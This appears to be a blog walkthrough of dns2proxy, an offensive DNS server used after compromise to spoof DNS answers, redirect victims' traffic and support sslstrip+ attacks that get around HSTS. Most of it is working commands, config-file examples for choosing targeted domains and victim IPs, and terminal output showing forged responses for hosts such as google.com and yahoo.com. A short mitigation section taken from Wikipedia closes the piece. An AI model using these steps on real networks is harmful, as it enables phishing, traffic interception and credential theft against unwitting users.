dns2proxy – Offensive DNS server post-explotation tool – DNS spoofing, phishing and pharming

dns2proxy is an offensive DNS server that offers various features for post-exploitation once you’ve changed the DNS server of a victim. This tools offers different features for post-explotation once you change the DNS server of a Victim.

DNS spoofing, also referred to as DNS cache poisoning, is a form of computer hacking in which corrupt Domain Name System data is introduced into the DNS resolver’s cache, causing the name server to return an incorrect IP address. This results in traffic being diverted to the attacker’s computer (or any other computer).

Features

1. Traditional DNS Spoofing
2. Implements DNS Spoofing via Forwarding
3. Detects and corrects changes for sslstrip to work

Installation

dnspython (www.dnspython.com) is needed. Tested with Python 2.6 and Python 2.7. You can simply clone git and start working.

root@kali:~# git clone https://github.com/LeonardoNve/dns2proxy.git

Starting dns2proxy: DNS Spoofing via Forwarding

You need to start dns2proxy and bind it to an interface IP address. Usually this is eth0 interface.

root@kali:~# cd dns2proxy/
root@kali:~/dns2proxy# 
root@kali:~/dns2proxy# python dns2proxy.py -i eth0 -u 10.0.2.15
Non spoofing to 127.0.0.1
Specific host spoofing www.abc.com with 10.10.10.20
Specific domain IP .facebook.com with 172.217.17.68
Specific domain IP .fbi.gov with 172.217.17.68
Specific domain IP .one.com with 127.0.0.1
DNS Forwarding activado....
binded to UDP port 53.
waiting requests.

This feature implements the attack of DNS spoofing adding 2 IP address at the top of the resolution and configuring the system to forward the connections. Check slides at BlackHat Asia 2014 OFFENSIVE: EXPLOITING DNS SERVERS CHANGES and the Demo Video. To launch this attach there is a shellscript that automatically configure the system using IP tables. You must edit this file to adapt it to your system. DON´T FORGET AdminIP variable!!!!

Both IPs must be at the same system to let dns2proxy.py configurate the forwarding

Traditional DNS Spoofing

Traditional DNS Spoof adding to the response the original IP address. Using spoof.cfg file:

root@kali:~/dns2proxy# echo "www.blakcmoreops.com 127.0.0.1" >; spoof.cfg
root@kali:~/dns2proxy# dig www.blakcmoreops.com @localhost
; <<>> DiG 9.10.3-P4-Debian <<>> www.blakcmoreops.com @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 51485
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 8192
;; QUESTION SECTION:
;www.blakcmoreops.com.        IN    A

;; Query time: 357 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Mar 21 14:07:23 AEDT 2017
;; MSG SIZE  rcvd: 49

root@kali:~/dns2proxy#

 

or you can use domains.cfg file to spoof all host of a same domain:

root@kali:~/dns2proxy# cat domains.cfg 
.facebook.com 172.217.17.68
.fbi.gov 172.217.17.68
.one.com 127.0.0.1
root@kali:~/dns2proxy#

Hostnames at nospoof.cfg will no be spoofed.

Detects and corrects changes for sslstrip to work

Automatically the dns server detects and correct the changes thats my sslstrip+ do to the hostnames to avoid HSTS, so will response properly. This server is necessary to make the sslstrip+ attack.

root@kali:~/dns2proxy# nslookup webaccounts.google.com 127.0.0.1 <-- DNS response like accounts.google.com
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: webaccounts.google.com
Address: 172.16.48.128
Name: webaccounts.google.com
Address: 172.16.48.230
Name: webaccounts.google.com
Address: 74.125.200.84

root@kali:~/dns2proxy# nslookup wwww.yahoo.com 127.0.0.1 <-- Take care of the 4 w! DNS response like
Server: 127.0.0.1 www.yahoo.com
Address: 127.0.0.1#53
Name: wwww.yahoo.com
Address: 172.16.48.128
Name: wwww.yahoo.com
Address: 172.16.48.230
Name: wwww.yahoo.com
Address: 68.142.243.179
Name: wwww.yahoo.com
Address: 68.180.206.184

Config files description

domains.cfg (or dominios.cfg): resolve all hosts for the listed domains with the listed IP

Ex: .facebook.com 1.2.3.4 .fbi.gov 1.2.3.4

spoof.cfg : Spoof a host with a ip

Ex: www.nsa.gov 127.0.0.1

nospoof.cfg: Send always a legit response when asking for these hosts.

Ex. mail.google.com

nospoofto.cfg: Don’t send fake responses to the IPs listed there.

Ex: 127.0.0.1 4.5.6.8

victims.cfg: If not empty, only send fake responses to these IP addresses.

Ex: 23.66.163.36 195.12.226.131

resolv.conf: DNS server to forward the queries.

Ex: nameserver 8.8.8.8

Prevention and mitigation

Many cache poisoning attacks against DNS servers can be prevented by being less trusting of the information passed to them by other DNS servers, and ignoring any DNS records passed back which are not directly relevant to the query. For example, versions of BIND 9.5.0-P1 and above perform these checks. Source port randomization for DNS requests, combined with the use of cryptographically-secure random numbers for selecting both the source port and the 16-bit cryptographic nonce, can greatly reduce the probability of successful DNS race attacks.

However, when routers, firewalls, proxies, and other gateway devices perform network address translation (NAT), or more specifically, port address translation (PAT), they may rewrite source ports in order to track connection state. When modifying source ports, PAT devices may remove source port randomness implemented by nameservers and stub resolvers.

Secure DNS (DNSSEC) uses cryptographic digital signatures signed with a trusted public key certificate to determine the authenticity of data. DNSSEC can counter cache poisoning attacks, but as of 2008 was not yet widely deployed. In 2010 DNSSEC was implemented in the Internet root zone servers.

This kind of attack can be mitigated at the transport layer or application layer by performing end-to-end validation once a connection is established. A common example of this is the use of Transport Layer Security and digital signatures. For example, by using HTTPS (the secure version of HTTP), users may check whether the server’s digital certificate is valid and belongs to a website’s expected owner. Similarly, the secure shell remote login program checks digital certificates at endpoints (if known) before proceeding with the session. For applications that download updates automatically, the application can embed a copy of the signing certificate locally and validate the signature stored in the software update against the embedded certificate [Source: Wiki]

Reference: